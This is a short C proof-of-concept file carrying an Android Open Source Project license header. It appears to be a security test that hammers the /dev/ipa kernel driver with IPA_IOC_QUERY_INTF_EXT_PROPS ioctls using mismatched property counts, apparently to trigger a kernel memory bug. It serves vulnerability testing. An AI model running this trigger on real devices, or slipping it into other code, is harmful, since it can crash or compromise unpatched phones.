1 /**
2  * Copyright (C) 2016 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  * http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions
14  * and limitations under the License.
15  **/
16 
17 
18 #define _GNU_SOURCE
19 
20 #include <pthread.h>
21 #include <sys/types.h>
22 #include <sys/wait.h>
23 
24 #include <sys/types.h>
25 #include <sys/stat.h>
26 #include <fcntl.h>
27 #include <sys/ioctl.h>
28 #include <string.h>
29 #include "local_poc.h"
30 #include <unistd.h>
31 #include <stdio.h>
32 
33 struct ipa_ioc_query_intf_ext_props_2 {
34         char name[IPA_RESOURCE_NAME_MAX];
35         uint32_t num_ext_props;
36         struct ipa_ioc_ext_intf_prop ext[23];
37 };
38 
main()39 int main() {
40 
41         int fd = open("/dev/ipa", O_RDWR);
42 
43         struct ipa_ioc_query_intf query_intf;
44         strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
45 
46         int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
47 
48         ipa_ioc_query_intf_ext_props_2 ext_props_2;
49         memset(&ext_props_2, 0, sizeof(ext_props_2));
50         strlcpy(&(ext_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
51         ext_props_2.num_ext_props = 23;
52 
53         int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_EXT_PROPS, &ext_props_2);
54 
55         while (true) {
56                 ipa_ioc_query_intf_ext_props ext_props;
57                 memset(&ext_props, 0, sizeof(ext_props));
58                 strlcpy(&(ext_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
59                 ext_props.num_ext_props = 0;
60 
61                 int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_EXT_PROPS, &ext_props);
62                 usleep(10000);
63         }
64         return 0;
65 }
66